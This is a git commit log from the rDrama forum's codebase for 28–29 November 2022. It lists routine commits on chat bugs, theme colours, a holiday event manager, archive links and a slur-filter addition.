2022-11-29 14:01:25 -08:00
justcool393
5056f09380
chat: fix 500 on some... weird... state... i think?
...
cache: get out of jinja templates
chat: threshold is now a const
2022-11-29 15:49:23 -06:00
Snakes
0dd7809b49
Sort banned_domains deterministically.
2022-11-29 16:24:13 -05:00
justcool393
e9887059d1
use `self.__class__.__name__` for `__repr__`
2022-11-29 15:02:38 -06:00
justcool393
87c4d2cb6b
events: fix dumb mistake i made
2022-11-29 14:56:08 -06:00
justcool393
d6694226ec
events: remove lazy, fix __repr__, and rename table
2022-11-29 14:48:10 -06:00
justcool393
03e7b4c6a2
events: initialize event_v properly
2022-11-29 14:35:28 -06:00
justcool393
67bfe5a5bd
remove unnecessary `str()`
2022-11-29 14:29:27 -06:00
geese_suck
a3fa96242c
holiday event manager (actually works now edition) ( #22 )
...
Co-authored-by: Snakes <duolsm@outlook.com>
Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#22
Co-authored-by: geese_suck <deandre.williams@geese-suck.us>
Co-committed-by: geese_suck <deandre.williams@geese-suck.us>
2022-11-29 20:20:26 +00:00
Snakes
4fcbf574bf
Fix scrolling on posts with "chat" in title.
2022-11-29 14:12:59 -05:00
SneedBot
a7614a5dd2
sneed
2022-11-29 14:11:34 +00:00
Aevann1
ed5b3dc4bb
remove ruckus.webp
2022-11-29 07:25:17 +02:00
Aevann1
d00e27d178
same as last commit
2022-11-29 07:07:29 +02:00
Aevann1
c185831ddc
same as last commit
2022-11-29 07:06:26 +02:00
Aevann1
03c3238331
fix /chat on transparent theme
2022-11-29 07:00:49 +02:00
justcool393
c47dae86ec
remove unused g attribute
2022-11-28 21:51:36 -06:00
Snakes
c762c84bde
worldcup2022: retain backwards compat on URL.
2022-11-28 22:39:51 -05:00
Aevann1
3e42918afb
minor background dedup
2022-11-29 05:37:56 +02:00
Aevann1
52e0972ddc
transparent fix
2022-11-29 05:37:55 +02:00
Snakes
d6680a29a3
Rename events.py and related to 'special'.
...
For @geese-suck's namespace conflict.
2022-11-28 22:36:20 -05:00
Aevann1
bf1da34dae
Revert "marseys table is way way too large to use javascript for sorting, you would've known that if u had tested"
...
This reverts commit fe0da05415
.
2022-11-29 05:22:59 +02:00
Snakes
2304876348
Fix emoji search after Marsey caching revert.
2022-11-28 22:18:16 -05:00
Aevann1
261abe3161
archives - add additional route for ease of use
2022-11-29 05:08:26 +02:00
Aevann1
53d5f40037
sneed
2022-11-29 04:59:41 +02:00
Aevann1
c68cb400b9
Revert "fix /h/femaledatingstrategy being too big in the header"
...
This reverts commit 3c3cd8f873
.
2022-11-29 04:05:58 +02:00
Aevann1
b32f4a1f67
transparent fix
2022-11-29 03:56:50 +02:00
Aevann1
ef8622e402
/marseys - make "Usage" tab link too
2022-11-29 03:55:47 +02:00
Aevann1
8182be4730
minor syntax change for no reason
2022-11-29 03:53:30 +02:00
Aevann1
ff2503ce4b
fix 500 error
2022-11-29 03:47:54 +02:00
Aevann1
9530bd50e3
transparent theme - change color
2022-11-29 03:47:31 +02:00
Aevann1
60d6246a38
add "homo" to slur filter
2022-11-29 03:46:35 +02:00
Snakes
e370a52ecc
PCM: raise upload limit for patrons (by request).
2022-11-28 20:13:22 -05:00
Aevann1
8bf73a10c8
make it slightly darker actually
2022-11-29 03:00:56 +02:00
Aevann1
7d765c74ae
cachebust midnight.css inside transparent.css
2022-11-29 02:57:37 +02:00
Aevann1
a6aaa9fae3
same ast last commit
2022-11-29 02:56:51 +02:00
Aevann1
b79f183f72
replace better color with brighter version to stand out from the background
2022-11-29 02:56:08 +02:00
Aevann1
46f4a8b387
make sorting buttons on frontpage smaller on small screens
2022-11-29 02:41:16 +02:00
Aevann1
56b350ac6d
same as last commit
2022-11-29 02:33:23 +02:00
Aevann1
80b8a5b786
use percents in worldcup loserboard
2022-11-29 02:31:55 +02:00
Aevann1
be8be13a01
move pinned comment ordering to SQLAlchemy
2022-11-29 02:04:06 +02:00
Aevann1
666b146daf
css change
2022-11-29 01:50:23 +02:00
Aevann1
c0d91c9e71
fix last commit (i cant do this without coffee help me)
2022-11-29 01:48:16 +02:00
Aevann1
b6c45c4208
make going to the reddit version of archived posts easier
2022-11-29 01:45:52 +02:00
Aevann1
3d1c16044a
use abort instead of sending raw text lol
2022-11-29 01:38:41 +02:00
Aevann1
7cca8274f0
use midnight as baseline for transparent theme
2022-11-29 01:38:41 +02:00
justcool393
6b3fa2f918
table sorting: mitigate chrome bug
2022-11-28 17:11:29 -06:00
Aevann1
e329746bec
use midnight color palette in transparent theme
2022-11-29 01:00:10 +02:00
justcool393
8506c46306
wpd: remove special front page logic
2022-11-28 16:55:16 -06:00
Aevann1
add8c27182
replace bad color with better color
2022-11-29 00:48:39 +02:00
justcool393
3d20cdf71e
reintroduce behavior from 55b9f7286d
...
i can't repro the fix but... if it's fixed :marseyshrug:
2022-11-28 16:48:15 -06:00
justcool393
4a2f4b5a5d
fix bg
2022-11-28 16:26:39 -06:00
Aevann1
3acc525e0c
truncate odds of lottery winning
2022-11-29 00:21:48 +02:00
Aevann1
5994ec7729
same ast last commit
2022-11-29 00:20:18 +02:00
Aevann1
3c3cd8f873
fix /h/femaledatingstrategy being too big in the header
2022-11-29 00:15:39 +02:00
SneedBot
0c21532068
sneed
2022-11-28 22:13:36 +00:00
Aevann1
f15350b2a8
fix subreddit links in archives
2022-11-29 00:12:39 +02:00
justcool393
fbcd089852
fix rare 401-302-401-302-429 loop
2022-11-28 13:41:08 -06:00
justcool393
112235794c
use pagetype instead of body attributes since we don't need any custom logic
2022-11-28 11:25:01 -06:00
justcool393
a2477864a3
move style out of root to minimize html redrawing and improve maintainability
2022-11-28 10:55:16 -06:00
justcool393
fc7069ca57
fix bugs introduced by reversion
...
please test on localhost! thx <3
https://i.imgur.com/Kb3V1Yb.png
2022-11-28 10:34:52 -06:00